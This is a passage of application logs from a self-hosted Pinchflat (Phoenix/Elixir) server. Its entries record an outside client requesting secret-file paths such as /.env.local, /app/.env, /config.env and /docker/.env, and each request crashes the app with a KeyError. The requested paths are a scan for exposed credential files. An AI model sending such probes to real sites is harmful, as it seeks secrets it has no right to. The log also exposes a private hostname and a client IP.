private, must-revalidate"}, {"x-request-id", "GJMAfDvSRWfa4EIACLvh"} ], scheme: :http, script_name: [], secret_key_base: :..., (truncated) 15:40:12.169 [info] GET /.env.local 15:40:12.170 [debug] QUERY OK source="settings" db=0.1ms idle=207.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:12.170 [debug] QUERY OK source="settings" db=0.0ms idle=207.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:12.170 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:12.170 [error] #PID<0.21351.0> running PinchflatWeb.Endpoint (connection #PID<0.21350.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.local ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21350.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51644}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21351.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfEH9O-lNdmUACLwB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21350.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51644}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21350.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51644}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21351.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfEH9O-lNdmUACLwB"} ], scheme: :http, script_name: [], secret_key_b (truncated) 15:40:12.274 [info] GET /assets/.env 15:40:12.274 [debug] QUERY OK source="settings" db=0.1ms idle=236.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:12.274 [debug] QUERY OK source="settings" db=0.0ms idle=207.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:12.274 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:12.274 [error] #PID<0.21353.0> running PinchflatWeb.Endpoint (connection #PID<0.21352.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /assets/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21352.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51646}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21353.0>, params: %{}, path_info: ["assets", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/assets/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfEg3wzbT12gACLwh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21352.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51646}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21352.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51646}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21353.0>, params: %{}, path_info: ["assets", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/assets/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfEg3wzbT12gACLwh"} ], scheme: :http, script_name: [] (truncated) 15:40:12.378 [info] GET /app/.env 15:40:12.378 [debug] QUERY OK source="settings" db=0.1ms idle=311.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:12.378 [debug] QUERY OK source="settings" db=0.0ms idle=208.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:12.378 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:12.378 [error] #PID<0.21355.0> running PinchflatWeb.Endpoint (connection #PID<0.21354.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /app/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21354.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51660}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21355.0>, params: %{}, path_info: ["app", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/app/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfE5oNRP-Yp0ACLxB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21354.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51660}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21354.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51660}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21355.0>, params: %{}, path_info: ["app", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/app/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfE5oNRP-Yp0ACLxB"} ], scheme: :http, script_name: [], secret_key_base: : (truncated) 15:40:12.481 [info] GET /config.env 15:40:12.481 [debug] QUERY OK source="settings" db=0.1ms idle=311.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:12.481 [debug] QUERY OK source="settings" db=0.0ms idle=207.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:12.481 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:12.482 [error] #PID<0.21357.0> running PinchflatWeb.Endpoint (connection #PID<0.21356.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /config.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21356.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51670}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21357.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/config.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfFSPSpky_XIACLxh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21356.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51670}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21356.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51670}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21357.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/config.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfFSPSpky_XIACLxh"} ], scheme: :http, script_name: [], secr (truncated) 15:40:12.588 [info] GET /docker/.env 15:40:12.588 [debug] QUERY OK source="settings" db=0.1ms idle=313.7ms SELECT s0."id", s0."onboarding", 